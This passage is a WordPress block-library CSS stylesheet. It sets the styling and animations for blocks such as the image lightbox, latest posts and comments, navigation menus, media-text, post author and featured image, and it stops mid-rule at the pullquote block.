.wp-lightbox-overlay.show-closing-animation:not(.active){
  animation:turn-off-visibility .35s both;
}
.wp-lightbox-overlay.show-closing-animation:not(.active) img{
  animation:turn-off-visibility .25s both;
}
@media (prefers-reduced-motion:no-preference){
  .wp-lightbox-overlay.zoom.active{
    animation:none;
    opacity:1;
    visibility:visible;
  }
  .wp-lightbox-overlay.zoom.active .lightbox-image-container{
    animation:lightbox-zoom-in .4s;
  }
  .wp-lightbox-overlay.zoom.active .lightbox-image-container img{
    animation:none;
  }
  .wp-lightbox-overlay.zoom.active .scrim{
    animation:turn-on-visibility .4s forwards;
  }
  .wp-lightbox-overlay.zoom.show-closing-animation:not(.active){
    animation:none;
  }
  .wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container{
    animation:lightbox-zoom-out .4s;
  }
  .wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container img{
    animation:none;
  }
  .wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .scrim{
    animation:turn-off-visibility .4s forwards;
  }
}

@keyframes turn-on-visibility{
  0%{
    opacity:0;
  }
  to{
    opacity:1;
  }
}
@keyframes turn-off-visibility{
  0%{
    opacity:1;
    visibility:visible;
  }
  99%{
    opacity:0;
    visibility:visible;
  }
  to{
    opacity:0;
    visibility:hidden;
  }
}
@keyframes lightbox-zoom-in{
  0%{
    transform:translate(calc((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position)), calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale));
  }
  to{
    transform:translate(-50%, -50%) scale(1);
  }
}
@keyframes lightbox-zoom-out{
  0%{
    transform:translate(-50%, -50%) scale(1);
    visibility:visible;
  }
  99%{
    visibility:visible;
  }
  to{
    transform:translate(calc((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position)), calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale));
    visibility:hidden;
  }
}
ol.wp-block-latest-comments{
  box-sizing:border-box;
  margin-left:0;
}

:where(.wp-block-latest-comments:not([style*=line-height] .wp-block-latest-comments__comment)){
  line-height:1.1;
}

:where(.wp-block-latest-comments:not([style*=line-height] .wp-block-latest-comments__comment-excerpt p)){
  line-height:1.8;
}

.has-dates :where(.wp-block-latest-comments:not([style*=line-height])),.has-excerpts :where(.wp-block-latest-comments:not([style*=line-height])){
  line-height:1.5;
}

.wp-block-latest-comments .wp-block-latest-comments{
  padding-left:0;
}

.wp-block-latest-comments__comment{
  list-style:none;
  margin-bottom:1em;
}
.has-avatars .wp-block-latest-comments__comment{
  list-style:none;
  min-height:2.25em;
}
.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-excerpt,.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-meta{
  margin-left:3.25em;
}

.wp-block-latest-comments__comment-excerpt p{
  font-size:.875em;
  margin:.36em 0 1.4em;
}

.wp-block-latest-comments__comment-date{
  display:block;
  font-size:.75em;
}

.wp-block-latest-comments .avatar,.wp-block-latest-comments__comment-avatar{
  border-radius:1.5em;
  display:block;
  float:left;
  height:2.5em;
  margin-right:.75em;
  width:2.5em;
}

.wp-block-latest-comments[class*=-font-size] a,.wp-block-latest-comments[style*=font-size] a{
  font-size:inherit;
}

.wp-block-latest-posts{
  box-sizing:border-box;
}
.wp-block-latest-posts.alignleft{
  margin-right:2em;
}
.wp-block-latest-posts.alignright{
  margin-left:2em;
}
.wp-block-latest-posts.wp-block-latest-posts__list{
  list-style:none;
  padding-left:0;
}
.wp-block-latest-posts.wp-block-latest-posts__list li{
  clear:both;
}
.wp-block-latest-posts.is-grid{
  display:flex;
  flex-wrap:wrap;
  padding:0;
}
.wp-block-latest-posts.is-grid li{
  margin:0 1.25em 1.25em 0;
  width:100%;
}
@media (min-width:600px){
  .wp-block-latest-posts.columns-2 li{
    width:calc(50% - .625em);
  }
  .wp-block-latest-posts.columns-2 li:nth-child(2n){
    margin-right:0;
  }
  .wp-block-latest-posts.columns-3 li{
    width:calc(33.33333% - .83333em);
  }
  .wp-block-latest-posts.columns-3 li:nth-child(3n){
    margin-right:0;
  }
  .wp-block-latest-posts.columns-4 li{
    width:calc(25% - .9375em);
  }
  .wp-block-latest-posts.columns-4 li:nth-child(4n){
    margin-right:0;
  }
  .wp-block-latest-posts.columns-5 li{
    width:calc(20% - 1em);
  }
  .wp-block-latest-posts.columns-5 li:nth-child(5n){
    margin-right:0;
  }
  .wp-block-latest-posts.columns-6 li{
    width:calc(16.66667% - 1.04167em);
  }
  .wp-block-latest-posts.columns-6 li:nth-child(6n){
    margin-right:0;
  }
}

.wp-block-latest-posts__post-author,.wp-block-latest-posts__post-date{
  display:block;
  font-size:.8125em;
}

.wp-block-latest-posts__post-excerpt{
  margin-bottom:1em;
  margin-top:.5em;
}

.wp-block-latest-posts__featured-image a{
  display:inline-block;
}
.wp-block-latest-posts__featured-image img{
  height:auto;
  max-width:100%;
  width:auto;
}
.wp-block-latest-posts__featured-image.alignleft{
  float:left;
  margin-right:1em;
}
.wp-block-latest-posts__featured-image.alignright{
  float:right;
  margin-left:1em;
}
.wp-block-latest-posts__featured-image.aligncenter{
  margin-bottom:1em;
  text-align:center;
}

ol,ul{
  box-sizing:border-box;
}
ol.has-background,ul.has-background{
  padding:1.25em 2.375em;
}

.wp-block-media-text{
  box-sizing:border-box;
  direction:ltr;
  display:grid;
  grid-template-columns:50% 1fr;
  grid-template-rows:auto;
}
.wp-block-media-text.has-media-on-the-right{
  grid-template-columns:1fr 50%;
}

.wp-block-media-text.is-vertically-aligned-top .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-top .wp-block-media-text__media{
  align-self:start;
}

.wp-block-media-text .wp-block-media-text__content,.wp-block-media-text .wp-block-media-text__media,.wp-block-media-text.is-vertically-aligned-center .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-center .wp-block-media-text__media{
  align-self:center;
}

.wp-block-media-text.is-vertically-aligned-bottom .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-bottom .wp-block-media-text__media{
  align-self:end;
}

.wp-block-media-text .wp-block-media-text__media{
  grid-column:1;
  grid-row:1;
  margin:0;
}

.wp-block-media-text .wp-block-media-text__content{
  direction:ltr;
  grid-column:2;
  grid-row:1;
  padding:0 8%;
  word-break:break-word;
}

.wp-block-media-text.has-media-on-the-right .wp-block-media-text__media{
  grid-column:2;
  grid-row:1;
}

.wp-block-media-text.has-media-on-the-right .wp-block-media-text__content{
  grid-column:1;
  grid-row:1;
}

.wp-block-media-text__media img,.wp-block-media-text__media video{
  height:auto;
  max-width:unset;
  vertical-align:middle;
  width:100%;
}

.wp-block-media-text.is-image-fill .wp-block-media-text__media{
  background-size:cover;
  height:100%;
  min-height:250px;
}

.wp-block-media-text.is-image-fill .wp-block-media-text__media>a{
  display:block;
  height:100%;
}

.wp-block-media-text.is-image-fill .wp-block-media-text__media img{
  height:1px;
  margin:-1px;
  overflow:hidden;
  padding:0;
  position:absolute;
  width:1px;
  clip:rect(0, 0, 0, 0);
  border:0;
}
@media (max-width:600px){
  .wp-block-media-text.is-stacked-on-mobile{
    grid-template-columns:100% !important;
  }
  .wp-block-media-text.is-stacked-on-mobile .wp-block-media-text__media{
    grid-column:1;
    grid-row:1;
  }
  .wp-block-media-text.is-stacked-on-mobile .wp-block-media-text__content{
    grid-column:1;
    grid-row:2;
  }
}
.wp-block-navigation{
  position:relative;
  --navigation-layout-justification-setting:flex-start;
  --navigation-layout-direction:row;
  --navigation-layout-wrap:wrap;
  --navigation-layout-justify:flex-start;
  --navigation-layout-align:center;
}
.wp-block-navigation ul{
  margin-bottom:0;
  margin-left:0;
  margin-top:0;
  padding-left:0;
}
.wp-block-navigation ul,.wp-block-navigation ul li{
  list-style:none;
  padding:0;
}
.wp-block-navigation .wp-block-navigation-item{
  align-items:center;
  display:flex;
  position:relative;
}
.wp-block-navigation .wp-block-navigation-item .wp-block-navigation__submenu-container:empty{
  display:none;
}
.wp-block-navigation .wp-block-navigation-item__content{
  display:block;
}
.wp-block-navigation .wp-block-navigation-item__content.wp-block-navigation-item__content{
  color:inherit;
}
.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content,.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:active,.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:focus{
  text-decoration:underline;
}
.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content,.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:active,.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:focus{
  text-decoration:line-through;
}
.wp-block-navigation:where(:not([class*=has-text-decoration])) a{
  text-decoration:none;
}
.wp-block-navigation:where(:not([class*=has-text-decoration])) a:active,.wp-block-navigation:where(:not([class*=has-text-decoration])) a:focus{
  text-decoration:none;
}
.wp-block-navigation .wp-block-navigation__submenu-icon{
  align-self:center;
  background-color:inherit;
  border:none;
  color:currentColor;
  display:inline-block;
  font-size:inherit;
  height:.6em;
  line-height:0;
  margin-left:.25em;
  padding:0;
  width:.6em;
}
.wp-block-navigation .wp-block-navigation__submenu-icon svg{
  display:inline-block;
  stroke:currentColor;
  height:inherit;
  margin-top:.075em;
  width:inherit;
}
.wp-block-navigation.is-vertical{
  --navigation-layout-direction:column;
  --navigation-layout-justify:initial;
  --navigation-layout-align:flex-start;
}
.wp-block-navigation.no-wrap{
  --navigation-layout-wrap:nowrap;
}
.wp-block-navigation.items-justified-center{
  --navigation-layout-justification-setting:center;
  --navigation-layout-justify:center;
}
.wp-block-navigation.items-justified-center.is-vertical{
  --navigation-layout-align:center;
}
.wp-block-navigation.items-justified-right{
  --navigation-layout-justification-setting:flex-end;
  --navigation-layout-justify:flex-end;
}
.wp-block-navigation.items-justified-right.is-vertical{
  --navigation-layout-align:flex-end;
}
.wp-block-navigation.items-justified-space-between{
  --navigation-layout-justification-setting:space-between;
  --navigation-layout-justify:space-between;
}

.wp-block-navigation .has-child .wp-block-navigation__submenu-container{
  align-items:normal;
  background-color:inherit;
  color:inherit;
  display:flex;
  flex-direction:column;
  height:0;
  left:-1px;
  opacity:0;
  overflow:hidden;
  position:absolute;
  top:100%;
  transition:opacity .1s linear;
  visibility:hidden;
  width:0;
  z-index:2;
}
.wp-block-navigation .has-child .wp-block-navigation__submenu-container>.wp-block-navigation-item>.wp-block-navigation-item__content{
  display:flex;
  flex-grow:1;
}
.wp-block-navigation .has-child .wp-block-navigation__submenu-container>.wp-block-navigation-item>.wp-block-navigation-item__content .wp-block-navigation__submenu-icon{
  margin-left:auto;
  margin-right:0;
}
.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation-item__content{
  margin:0;
}
@media (min-width:782px){
  .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{
    left:100%;
    top:-1px;
  }
  .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before{
    background:#0000;
    content:"";
    display:block;
    height:100%;
    position:absolute;
    right:100%;
    width:.5em;
  }
  .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-icon{
    margin-right:.25em;
  }
  .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-icon svg{
    transform:rotate(-90deg);
  }
}
.wp-block-navigation .has-child .wp-block-navigation-submenu__toggle[aria-expanded=true]~.wp-block-navigation__submenu-container,.wp-block-navigation .has-child:not(.open-on-click):hover>.wp-block-navigation__submenu-container,.wp-block-navigation .has-child:not(.open-on-click):not(.open-on-hover-click):focus-within>.wp-block-navigation__submenu-container{
  height:auto;
  min-width:200px;
  opacity:1;
  overflow:visible;
  visibility:visible;
  width:auto;
}

.wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container{
  left:0;
  top:100%;
}
@media (min-width:782px){
  .wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{
    left:100%;
    top:0;
  }
}

.wp-block-navigation-submenu{
  display:flex;
  position:relative;
}
.wp-block-navigation-submenu .wp-block-navigation__submenu-icon svg{
  stroke:currentColor;
}

button.wp-block-navigation-item__content{
  background-color:initial;
  border:none;
  color:currentColor;
  font-family:inherit;
  font-size:inherit;
  font-style:inherit;
  font-weight:inherit;
  line-height:inherit;
  text-align:left;
  text-transform:inherit;
}

.wp-block-navigation-submenu__toggle{
  cursor:pointer;
}

.wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle{
  padding-left:0;
  padding-right:.85em;
}
.wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle+.wp-block-navigation__submenu-icon{
  margin-left:-.6em;
  pointer-events:none;
}

.wp-block-navigation-item.open-on-click button.wp-block-navigation-item__content:not(.wp-block-navigation-submenu__toggle){
  padding:0;
}
.wp-block-navigation .wp-block-page-list,.wp-block-navigation__container,.wp-block-navigation__responsive-close,.wp-block-navigation__responsive-container,.wp-block-navigation__responsive-container-content,.wp-block-navigation__responsive-dialog{
  gap:inherit;
}
:where(.wp-block-navigation.has-background .wp-block-navigation-item a:not(.wp-element-button)),:where(.wp-block-navigation.has-background .wp-block-navigation-submenu a:not(.wp-element-button)){
  padding:.5em 1em;
}

:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-item a:not(.wp-element-button)),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-submenu a:not(.wp-element-button)),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-submenu button.wp-block-navigation-item__content),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-pages-list__item button.wp-block-navigation-item__content){
  padding:.5em 1em;
}
.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container{
  left:auto;
  right:0;
}
.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{
  left:-1px;
  right:-1px;
}
@media (min-width:782px){
  .wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{
    left:auto;
    right:100%;
  }
}

.wp-block-navigation:not(.has-background) .wp-block-navigation__submenu-container{
  background-color:#fff;
  border:1px solid #00000026;
}

.wp-block-navigation.has-background .wp-block-navigation__submenu-container{
  background-color:inherit;
}

.wp-block-navigation:not(.has-text-color) .wp-block-navigation__submenu-container{
  color:#000;
}

.wp-block-navigation__container{
  align-items:var(--navigation-layout-align, initial);
  display:flex;
  flex-direction:var(--navigation-layout-direction, initial);
  flex-wrap:var(--navigation-layout-wrap, wrap);
  justify-content:var(--navigation-layout-justify, initial);
  list-style:none;
  margin:0;
  padding-left:0;
}
.wp-block-navigation__container .is-responsive{
  display:none;
}

.wp-block-navigation__container:only-child,.wp-block-page-list:only-child{
  flex-grow:1;
}
@keyframes overlay-menu__fade-in-animation{
  0%{
    opacity:0;
    transform:translateY(.5em);
  }
  to{
    opacity:1;
    transform:translateY(0);
  }
}
.wp-block-navigation__responsive-container{
  bottom:0;
  display:none;
  left:0;
  position:fixed;
  right:0;
  top:0;
}
.wp-block-navigation__responsive-container :where(.wp-block-navigation-item a){
  color:inherit;
}
.wp-block-navigation__responsive-container .wp-block-navigation__responsive-container-content{
  align-items:var(--navigation-layout-align, initial);
  display:flex;
  flex-direction:var(--navigation-layout-direction, initial);
  flex-wrap:var(--navigation-layout-wrap, wrap);
  justify-content:var(--navigation-layout-justify, initial);
}
.wp-block-navigation__responsive-container:not(.is-menu-open.is-menu-open){
  background-color:inherit !important;
  color:inherit !important;
}
.wp-block-navigation__responsive-container.is-menu-open{
  animation:overlay-menu__fade-in-animation .1s ease-out;
  animation-fill-mode:forwards;
  background-color:inherit;
  display:flex;
  flex-direction:column;
  overflow:auto;
  padding:clamp(1rem, var(--wp--style--root--padding-top), 20rem) clamp(1rem, var(--wp--style--root--padding-right), 20rem) clamp(1rem, var(--wp--style--root--padding-bottom), 20rem) clamp(1rem, var(--wp--style--root--padding-left), 20em);
  z-index:100000;
}
@media (prefers-reduced-motion:reduce){
  .wp-block-navigation__responsive-container.is-menu-open{
    animation-delay:0s;
    animation-duration:1ms;
  }
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content{
  align-items:var(--navigation-layout-justification-setting, inherit);
  display:flex;
  flex-direction:column;
  flex-wrap:nowrap;
  overflow:visible;
  padding-top:calc(2rem + 24px);
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-page-list{
  justify-content:flex-start;
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-icon{
  display:none;
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .has-child .wp-block-navigation__submenu-container{
  border:none;
  height:auto;
  min-width:200px;
  opacity:1;
  overflow:initial;
  padding-left:2rem;
  padding-right:2rem;
  position:static;
  visibility:visible;
  width:auto;
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container{
  gap:inherit;
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container{
  padding-top:var(--wp--style--block-gap, 2em);
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation-item__content{
  padding:0;
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation-item,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-page-list{
  align-items:var(--navigation-layout-justification-setting, initial);
  display:flex;
  flex-direction:column;
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation-item,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation-item .wp-block-navigation__submenu-container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-page-list{
  background:#0000 !important;
  color:inherit !important;
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container{
  left:auto;
  right:auto;
}
@media (min-width:600px){
  .wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open){
    background-color:inherit;
    display:block;
    position:relative;
    width:100%;
    z-index:auto;
  }
  .wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open) .wp-block-navigation__responsive-container-close{
    display:none;
  }
  .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container{
    left:0;
  }
}

.wp-block-navigation:not(.has-background) .wp-block-navigation__responsive-container.is-menu-open{
  background-color:#fff;
}

.wp-block-navigation:not(.has-text-color) .wp-block-navigation__responsive-container.is-menu-open{
  color:#000;
}

.wp-block-navigation__toggle_button_label{
  font-size:1rem;
  font-weight:700;
}

.wp-block-navigation__responsive-container-close,.wp-block-navigation__responsive-container-open{
  background:#0000;
  border:none;
  color:currentColor;
  cursor:pointer;
  margin:0;
  padding:0;
  text-transform:inherit;
  vertical-align:middle;
}
.wp-block-navigation__responsive-container-close svg,.wp-block-navigation__responsive-container-open svg{
  fill:currentColor;
  display:block;
  height:24px;
  pointer-events:none;
  width:24px;
}

.wp-block-navigation__responsive-container-open{
  display:flex;
}
.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open{
  font-family:inherit;
  font-size:inherit;
  font-weight:inherit;
}
@media (min-width:600px){
  .wp-block-navigation__responsive-container-open:not(.always-shown){
    display:none;
  }
}

.wp-block-navigation__responsive-container-close{
  position:absolute;
  right:0;
  top:0;
  z-index:2;
}
.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close{
  font-family:inherit;
  font-size:inherit;
  font-weight:inherit;
}

.wp-block-navigation__responsive-close{
  width:100%;
}
.has-modal-open .wp-block-navigation__responsive-close{
  margin-left:auto;
  margin-right:auto;
  max-width:var(--wp--style--global--wide-size, 100%);
}
.wp-block-navigation__responsive-close:focus{
  outline:none;
}

.is-menu-open .wp-block-navigation__responsive-close,.is-menu-open .wp-block-navigation__responsive-container-content,.is-menu-open .wp-block-navigation__responsive-dialog{
  box-sizing:border-box;
}

.wp-block-navigation__responsive-dialog{
  position:relative;
}

.has-modal-open .admin-bar .is-menu-open .wp-block-navigation__responsive-dialog{
  margin-top:46px;
}
@media (min-width:782px){
  .has-modal-open .admin-bar .is-menu-open .wp-block-navigation__responsive-dialog{
    margin-top:32px;
  }
}

html.has-modal-open{
  overflow:hidden;
}

.wp-block-navigation .wp-block-navigation-item__label{
  overflow-wrap:break-word;
}
.wp-block-navigation .wp-block-navigation-item__description{
  display:none;
}

.link-ui-tools{
  border-top:1px solid #f0f0f0;
  padding:8px;
}

.link-ui-block-inserter{
  padding-top:8px;
}

.link-ui-block-inserter__back{
  margin-left:8px;
  text-transform:uppercase;
}

.components-popover-pointer-events-trap{
  background-color:initial;
  cursor:pointer;
  inset:0;
  position:fixed;
  z-index:1000000;
}

.wp-block-navigation .wp-block-page-list{
  align-items:var(--navigation-layout-align, initial);
  background-color:inherit;
  display:flex;
  flex-direction:var(--navigation-layout-direction, initial);
  flex-wrap:var(--navigation-layout-wrap, wrap);
  justify-content:var(--navigation-layout-justify, initial);
}
.wp-block-navigation .wp-block-navigation-item{
  background-color:inherit;
}

.is-small-text{
  font-size:.875em;
}

.is-regular-text{
  font-size:1em;
}

.is-large-text{
  font-size:2.25em;
}

.is-larger-text{
  font-size:3em;
}

.has-drop-cap:not(:focus):first-letter{
  float:left;
  font-size:8.4em;
  font-style:normal;
  font-weight:100;
  line-height:.68;
  margin:.05em .1em 0 0;
  text-transform:uppercase;
}

body.rtl .has-drop-cap:not(:focus):first-letter{
  float:none;
  margin-left:.1em;
}

p.has-drop-cap.has-background{
  overflow:hidden;
}

p.has-background{
  padding:1.25em 2.375em;
}

:where(p.has-text-color:not(.has-link-color)) a{
  color:inherit;
}

p.has-text-align-left[style*="writing-mode:vertical-lr"],p.has-text-align-right[style*="writing-mode:vertical-rl"]{
  rotate:180deg;
}

.wp-block-post-author{
  display:flex;
  flex-wrap:wrap;
}
.wp-block-post-author__byline{
  font-size:.5em;
  margin-bottom:0;
  margin-top:0;
  width:100%;
}
.wp-block-post-author__avatar{
  margin-right:1em;
}
.wp-block-post-author__bio{
  font-size:.7em;
  margin-bottom:.7em;
}
.wp-block-post-author__content{
  flex-basis:0;
  flex-grow:1;
}
.wp-block-post-author__name{
  margin:0;
}

.wp-block-post-comments-form{
  box-sizing:border-box;
}
.wp-block-post-comments-form[style*=font-weight] :where(.comment-reply-title){
  font-weight:inherit;
}
.wp-block-post-comments-form[style*=font-family] :where(.comment-reply-title){
  font-family:inherit;
}
.wp-block-post-comments-form[class*=-font-size] :where(.comment-reply-title),.wp-block-post-comments-form[style*=font-size] :where(.comment-reply-title){
  font-size:inherit;
}
.wp-block-post-comments-form[style*=line-height] :where(.comment-reply-title){
  line-height:inherit;
}
.wp-block-post-comments-form[style*=font-style] :where(.comment-reply-title){
  font-style:inherit;
}
.wp-block-post-comments-form[style*=letter-spacing] :where(.comment-reply-title){
  letter-spacing:inherit;
}
.wp-block-post-comments-form input[type=submit]{
  box-shadow:none;
  cursor:pointer;
  display:inline-block;
  overflow-wrap:break-word;
  text-align:center;
}
.wp-block-post-comments-form input:not([type=submit]),.wp-block-post-comments-form textarea{
  border:1px solid #949494;
  font-family:inherit;
  font-size:1em;
}
.wp-block-post-comments-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments-form textarea{
  padding:calc(.667em + 2px);
}
.wp-block-post-comments-form .comment-form input:not([type=submit]):not([type=checkbox]):not([type=hidden]),.wp-block-post-comments-form .comment-form textarea{
  box-sizing:border-box;
  display:block;
  width:100%;
}
.wp-block-post-comments-form .comment-form-author label,.wp-block-post-comments-form .comment-form-email label,.wp-block-post-comments-form .comment-form-url label{
  display:block;
  margin-bottom:.25em;
}
.wp-block-post-comments-form .comment-form-cookies-consent{
  display:flex;
  gap:.25em;
}
.wp-block-post-comments-form .comment-form-cookies-consent #wp-comment-cookies-consent{
  margin-top:.35em;
}
.wp-block-post-comments-form .comment-reply-title{
  margin-bottom:0;
}
.wp-block-post-comments-form .comment-reply-title :where(small){
  font-size:var(--wp--preset--font-size--medium, smaller);
  margin-left:.5em;
}

.wp-block-post-date{
  box-sizing:border-box;
}

:where(.wp-block-post-excerpt){
  margin-bottom:var(--wp--style--block-gap);
  margin-top:var(--wp--style--block-gap);
}

.wp-block-post-excerpt__excerpt{
  margin-bottom:0;
  margin-top:0;
}

.wp-block-post-excerpt__more-text{
  margin-bottom:0;
  margin-top:var(--wp--style--block-gap);
}

.wp-block-post-excerpt__more-link{
  display:inline-block;
}

.wp-block-post-featured-image{
  margin-left:0;
  margin-right:0;
}
.wp-block-post-featured-image a{
  display:block;
  height:100%;
}
.wp-block-post-featured-image img{
  box-sizing:border-box;
  height:auto;
  max-width:100%;
  vertical-align:bottom;
  width:100%;
}
.wp-block-post-featured-image.alignfull img,.wp-block-post-featured-image.alignwide img{
  width:100%;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim{
  background-color:#000;
  inset:0;
  position:absolute;
}
.wp-block-post-featured-image{
  position:relative;
}

.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-gradient{
  background-color:initial;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-0{
  opacity:0;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-10{
  opacity:.1;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-20{
  opacity:.2;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-30{
  opacity:.3;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-40{
  opacity:.4;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-50{
  opacity:.5;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-60{
  opacity:.6;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-70{
  opacity:.7;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-80{
  opacity:.8;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-90{
  opacity:.9;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-100{
  opacity:1;
}
.wp-block-post-featured-image:where(.alignleft,.alignright){
  width:100%;
}

.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous{
  display:inline-block;
  margin-right:1ch;
}
.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous:not(.is-arrow-chevron){
  transform:scaleX(1);
}
.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-next{
  display:inline-block;
  margin-left:1ch;
}
.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-next:not(.is-arrow-chevron){
  transform:scaleX(1);
}
.wp-block-post-navigation-link.has-text-align-left[style*="writing-mode: vertical-lr"],.wp-block-post-navigation-link.has-text-align-right[style*="writing-mode: vertical-rl"]{
  rotate:180deg;
}

.wp-block-post-terms{
  box-sizing:border-box;
}
.wp-block-post-terms .wp-block-post-terms__separator{
  white-space:pre-wrap;
}

.wp-block-post-time-to-read,.wp-block-post-title{
  box-sizing:border-box;
}

.wp-block-post-title{
  word-break:break-word;
}
.wp-block-post-title a{
  display:inline-block;
}

.wp-block-preformatted{
  box-sizing:border-box;
  white-space:pre-wrap;
}

:where(.wp-block-preformatted.has-background){
  padding:1.25em 2.375em;
}

.wp-block-pullquote{
  box-sizing:border-box;
  overflow-wrap:break-word;
  padding:4em 0;
  text-align:center;
}
.wp-block-pullquote blockquote,.wp-block-pullquote cite,.wp-block-pullquote p{
  color:inherit;
}
.wp-block-pullquote blockquote{
  margin:0;
}
.wp-block-pullquote p{
  margin-top:0;
}
.wp-block-pullquote p:last-child{
